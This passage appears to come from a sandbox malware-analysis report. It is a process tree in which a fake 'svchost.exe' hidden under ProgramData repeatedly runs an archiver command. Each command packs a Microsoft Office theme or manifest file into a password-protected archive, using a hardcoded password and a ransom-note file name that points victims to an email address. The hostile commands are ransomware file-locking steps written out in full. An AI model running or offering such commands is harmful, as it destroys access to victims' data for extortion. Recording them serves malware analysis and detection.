                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Blue II.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Blue II.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:2072
                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Blue Warm.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Blue Warm.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:924
                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Blue.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Blue.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:2176
                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Grayscale.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Grayscale.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:2680
                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Green Yellow.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Green Yellow.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:5256
                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Green.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Green.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:704
                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Marquee.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Marquee.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:4972
                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Median.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Median.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:2984
                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Office 2007 - 2010.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Office 2007 - 2010.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:1848
                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Orange Red.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Orange Red.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:2784
                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Orange.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Orange.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:1448
                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Paper.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Paper.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:1784
                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Red Orange.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Red Orange.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:1800
                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Red Violet.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Red Violet.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:2348
                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Red.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Red.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:2652
                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Slipstream.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Slipstream.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:4436
                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Violet II.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Violet II.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                        PID:4460
                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Violet.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Violet.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                          PID:5820
                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Yellow Orange.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Yellow Orange.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:3488
                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Yellow.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Yellow.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:60
                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Arial Black-Arial.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Arial Black-Arial.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:1412
                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Arial-Times New Roman.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Arial-Times New Roman.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:1416
                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Arial.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Arial.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                    PID:4560
                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Calibri Light-Constantia.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Calibri Light-Constantia.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                      PID:1456
                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Calibri-Cambria.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Calibri-Cambria.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                        PID:5612
                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Calibri.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Calibri.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                          PID:2152
                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Cambria.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Cambria.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:4348
                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Candara.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Candara.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:5092
                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Century Gothic-Palatino Linotype.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Century Gothic-Palatino Linotype.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                PID:4764
                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Century Gothic.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Century Gothic.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                  PID:3920
                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Century Schoolbook.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Century Schoolbook.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                    PID:1480
                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Consolas-Verdana.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Consolas-Verdana.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                      PID:456
                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Constantia-Franklin Gothic Book.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Constantia-Franklin Gothic Book.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                        PID:5832
                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Corbel.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Corbel.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                          PID:4780
                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Franklin Gothic.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Franklin Gothic.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                            PID:464
                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Garamond-TrebuchetMs.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Garamond-TrebuchetMs.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                              PID:5012
                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Garamond.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Garamond.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                PID:2136
                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Georgia.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Georgia.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                  PID:3528
                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Gill Sans MT.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Gill Sans MT.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                    PID:3048
                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Office 2007 - 2010.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Office 2007 - 2010.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                      PID:5292
                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Times New Roman-Arial.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Times New Roman-Arial.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                      PID:2988
                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\TrebuchetMs.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\TrebuchetMs.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                        PID:4960
                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Tw Cen MT-Rockwell.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Tw Cen MT-Rockwell.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                          PID:4108
                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Tw Cen MT.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Tw Cen MT.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                            PID:1432
                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                              PID:3540
                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.dcfmui.msi.16.en-us.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.dcfmui.msi.16.en-us.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                PID:3032
                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Integration\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                  PID:532
                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
